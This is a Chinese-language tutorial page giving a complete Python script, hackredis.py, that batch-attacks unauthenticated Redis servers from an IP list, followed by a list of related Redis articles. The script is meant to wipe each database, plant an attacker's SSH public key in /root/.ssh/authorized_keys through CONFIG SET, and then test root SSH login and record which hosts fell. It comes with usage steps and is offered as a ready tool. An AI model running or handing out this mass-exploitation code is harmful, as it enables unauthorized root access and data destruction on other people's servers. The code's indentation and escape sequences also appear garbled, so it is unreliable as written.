python脚本实现Redis未授权批量提权

前言

本文主要给大家介绍了关于redis未授权批量提权的相关内容,分享出来供大家参考学习,下面话不多说了,来一起看看详细的介绍吧。

安装依赖

 sudo easy_install redis

使用

redis python hackredis.py
usage: hackredis.py [-h] [-l IPLIST] [-p PORT] [-r ID_RSAFILE] [-sp SSH_PORT]

For Example:
-----------------------------------------------------------------------------
python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22

optional arguments:
 -h, --help  show this help message and exit
 -l IPLIST  the hosts of target
 -p PORT  the redis default port
 -r ID_RSAFILE the ssh id_rsa file you generate
 -sp SSH_PORT the ssh port

首先需要ssh密钥:

ssh-keygen -t rsa
 cp ~/.ssh/id_rsa.pub /tmp/foo.txt

之后将ip列表填入ip.txt,然后就可以跑了。 成功的将会输出到success.txt,执行成功但是ssh连接失败的会存储在unconnect.txt,操作失败的会存储在fail.txt。

#!/usr/bin/python
#coding:utf-8
#############################################################
## @file hackredis.py         ##
## @date 2015-12-11          ##
## @author evi1cg           ##
#############################################################
import redis
import argparse
import textwrap
import sys
import pexpect
def getargs():
 parser = argparse.ArgumentParser(prog='hackredis.py', formatter_class=argparse.RawTextHelpFormatter, description=textwrap.dedent('''/
 For Example:
 -----------------------------------------------------------------------------
 python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22'''))
 parser.add_argument('-l', dest='iplist', type=str, help='the hosts of target')
 parser.add_argument('-p', dest='port', default=6379, type=int, help='the redis default port')
 parser.add_argument('-r', dest='id_rsafile', type=str, help='the ssh id_rsa file you generate')
 parser.add_argument('-sp', dest='ssh_port', type=int,default=22, help='the ssh port')
 if(len(sys.argv[1:]) / 2 != 4):
 sys.argv.append('-h')
 return parser.parse_args()

def hackredis(host,port):
 ck = 0
 try:
 print "[*] Attacking ip:%s"%host
 r =redis.StrictRedis(host=host,port=port,db=0,socket_timeout=2)
 r.flushall
 r.set('crackit',foo)
 r.config_set('dir','/root/.ssh/')
 r.config_set('dbfilename','authorized_keys')
 r.save()
 ck =1
 except:
 print "/033[1;31;40m[-]/033[0m Something wrong with %s"%host
 write(host,2)
 ck =0
 if ck == 1:
 check(host)
 else:
 pass

def check(host):
 print '/033[1;33;40m[*]/033[0m Check connecting... '
 try:
 ssh = pexpect.spawn('ssh root@%s -p %d' %(host,ssh_port))
 i = ssh.expect('[#/$]',timeout=2)
 if i == 0:
  print "/033[1;34;40m[+]/033[0m Success !"
  write(host,1)
 else:
  pass
 except:
 print "/033[1;32;40m[-]/033[0m Failed to connect !"
 write(host,3)
def write(host,suc):
 if suc == 1:
 filesname = 'success.txt'
 elif suc ==2:
 filesname = 'fail.txt'
 elif suc ==3:
 filesname = 'unconnect.txt'
 else:
 pass
 file_object = open(filesname,'a')
 file_object.write(host+'/n')
 file_object.close()

def main():
 global foo,ssh_port
 paramsargs = getargs()
 try:
 hosts = open(paramsargs.iplist,"r")
 except(IOError):
 print "Error: Check your hostfile path/n"
 sys.exit(1)
 port = paramsargs.port
 ssh_port = paramsargs.ssh_port
 try:
 foo = '/n/n/n'+open(paramsargs.id_rsafile,"r").readline()+'/n/n/n'
 except(IOError):
 print "Error: Check your wordlist path/n"
 sys.exit(1)
 ips = [p.replace('/n','') for p in hosts]
 for ip in ips:
 hackredis(ip.strip(),port)

if __name__ == "__main__":
 main()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对我们的支持。

(0)

相关推荐

  • redis集群搭建教程及遇到的问题处理

    这里,在一个Linux虚拟机上搭建6个节点的redis伪集群,思路很简单,一台虚拟机上开启6个redis实例,每个redis实例有自己的端口.这样的话,相当于模拟出了6台机器了,然后在以这6个实例组建redis集群就可以了. 前提:redis已经安装,目录为/usr/local/redis-4.0.1 如不会,可以参考一下文章  windows下安装redis    Linux下安装redis redis集群是用的ruby脚本,所以要想执行该脚本,需要ruby环境..对应redis的源码src目

  • redis数据结构之intset的实例详解

    redis数据结构之intset的实例详解 在redis中,intset主要用于保存整数值,由于其底层是使用数组来保存数据的,因而当对集合进行数据添加时需要对集合进行扩容和迁移操作,因而也只有在数据量不大时redis才使用该数据结构来保存整数集合.其具体的底层数据结构如下: typedef struct intset { // 编码方式 uint32_t encoding; // 集合包含的元素数量 uint32_t length; // 保存元素的数组 int8_t contents[]; }

  • Redis集群搭建全记录

    Redis集群是一个提供在多个Redis节点间共享数据的程序集. Redis集群中不支持处理多个keys的命令. Redis集群通过分区来提供一定程度的可用性.在某个节点宕机或者不可用的时候可以继续处理命令. Redis集群数据分片 在Redis集群中,使用数据分片(sharding)而不是一致性hash(consistency hashing)来实现,一个Redis集群包含16384个哈希槽(hash slot),数据库中的每个键都存在这些哈希槽中的某一个,通过CRC16校验后对16384取模

  • Linux Redis 的安装步骤详解

     Linux Redis 的安装步骤详解 前言: Redis 是一个开源(BSD许可)的,内存中的数据结构存储系统,它可以用作数据库.缓存和消息中间件. 它支持多种类型的数据结构,如 字符串(strings), 散列(hashes), 列表(lists), 集合(sets), 有序集合(sorted sets) 与范围查询, bitmaps, hyperloglogs 和 地理空间(geospatial) 索引半径查询. redis 是完全开源免费的,是一个高性能的key-value数据库.Re

  • redis数据类型_动力节点Java学院整理

    Redis支持5种数据类型,它们描述如下: Strings - 字符串 Redis的字符串是字节序列.在Redis中字符串是二进制安全的,这意味着他们有一个已知的长度,是没有任何特殊字符终止决定的,所以可以存储任何东西,最大长度可达512兆. 例子 redis 127.0.0.1:6379> SET name "yiibai" OK redis 127.0.0.1:6379> GET name "yiibai" 在上面的例子使用Redis命令set和ge

  • Redis 实现队列原理的实例详解

    Redis 实现队列原理的实例详解 场景说明: ·用于处理比较耗时的请求,例如批量发送邮件,如果直接在网页触发执行发送,程序会出现超时 ·高并发场景,当某个时刻请求瞬间增加时,可以把请求写入到队列,后台在去处理这些请求 ·抢购场景,先入先出的模式 命令: rpush + blpop 或 lpush + brpop rpush : 往列表右侧推入数据 blpop : 客户端阻塞直到队列有值输出 简单队列: simple.php $stmt = $pdo->prepare('select id, c

  • python脚本实现Redis未授权批量提权

    前言 本文主要给大家介绍了关于redis未授权批量提权的相关内容,分享出来供大家参考学习,下面话不多说了,来一起看看详细的介绍吧. 安装依赖 sudo easy_install redis 使用 redis python hackredis.py usage: hackredis.py [-h] [-l IPLIST] [-p PORT] [-r ID_RSAFILE] [-sp SSH_PORT] For Example: -----------------------------------

  • Redis未授权访问配合SSH key文件利用详解

    前言 Redis是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key-Value数据库,并提供多种语言的API. Redis 未授权访问的问题是一直存在的问题,知道创宇安全研究团队历史上也做过相关的应急,今日,又出现 Redis 未授权访问配合 SSH key 文件被利用的情况,导致一大批 Redis 服务器被黑,今天我们来简要的分析下. 一.漏洞概述 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有

  • 解析Redis未授权访问漏洞复现与利用危害

    目录 一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: 2.漏洞的危害 3.漏洞的影响 二.漏洞复现: 三.未授权访问漏洞测试 0x01 利用redis写webshell 0x02 利用"公私钥"认证获取root权限 0x03利用crontab反弹shell 四.Pyhton脚本自动化测试 五.解决方案 于2019.10.9日补充 redis主从复制rce 于2021.01.02补充 ssrf,redis与gopher 参考文章: 一.漏洞简介以及危害: 1.什么是redi

  • 关于Redis未授权访问漏洞利用的介绍与修复建议

    前言 本文主要给大家介绍了关于Redis未授权访问漏洞利用的相关内容,文中对该漏洞进行了详细,并给出了相对应的修复/安全建议,下面话不多说了,来一起看看详细的介绍吧. 一.漏洞介绍 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据.攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Re

  • 关于Redis未授权访问的问题

    目录 漏洞原理 利用条件 漏洞危害 漏洞复现 搭建测试环境 攻击机Kali 2021.1 利用redis写入webshell 利用redis反弹shell 利用redis写入ssh公钥 总结 漏洞原理 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读

  • 使用Python脚本实现批量网站存活检测遇到问题及解决方法

    做渗透测试的时候,有个比较大的项目,里面有几百个网站,这样你必须首先确定哪些网站是正常,哪些网站是不正常的.所以自己就编了一个小脚本,为以后方便使用. 具体实现的代码如下: #!/usr/bin/python # -*- coding: UTF-8 -*- ''' @Author:joy_nick @博客:http://byd.dropsec.xyz/ ''' import requests import sys f = open('url.txt', 'r') url = f.readline

  • Python脚本操作Excel实现批量替换功能

    大家好,给大家分享下如何使用Python脚本操作Excel实现批量替换. 使用的工具 Openpyxl,一个处理excel的python库,处理excel,其实针对的就是WorkBook,Sheet,Cell这三个最根本的元素~ 明确需求原始excel如下 我们的目标是把下面excel工作表的sheet1表页A列的内容"替换我吧"批量替换为B列的"我用来替换的x号选手" 实现替换后的效果图,C列为B列替换A列的指定内容后的结果 实现以上功能的同时,我也实现excel

  • 利用Python脚本批量生成SQL语句

    通过Python脚本批量生成插入数据的SQL语句 原始SQL语句: INSERT INTO system_user (id, login_name, name, password, salt, code, createtime, email, main_org, positions, status, used, url, invalid, millis, id_card, phone_no, past, end_date, start_date) VALUES ('6', 'db', 'db',

  • POC漏洞批量验证程序Python脚本编写

    目录 编写目的 需求分析 实现过程 Main函数 获取目标 批量请求验证 加载POC 多线程类 urlParse getProxy randomHeaders 输出结果 其他 全局变量 命令行读取参数 poc详情显示 Ctrl+C结束线程 poc.json文件 运行结果 FoFa获取目标 poc验证 总结 完整代码 编写目的 批量验证poc,Python代码练习. 需求分析 1.poc尽可能简单. 2.多线程. 3.联动fofa获取目标. 4.随机请求头. 实现过程 脚本分为三个模块,获取poc

  • 在Gnumeric下使用Python脚本操作表格的教程

    关于Gnumeric Gnumeric是linux平台下的一款功能强大且易于使用的电子表格软件,与其他常用电子表格软件如Excel等在风格上非常一致.Gnumeric当前的稳定版是1.2.13,对中文的支持已经比较成熟.据官方信息,Gnumeric除实现了MS Excel所有的函数外,还实现了60多个Excel中不存在的函数和基本的金融方面函数,并已经具备了高级统计分析.可扩展的随机数产生器.线性或非线性求解的计算能力.更令人惊喜的是,现在Gnumeric已经集成了Python强大的脚本编程能力

随机推荐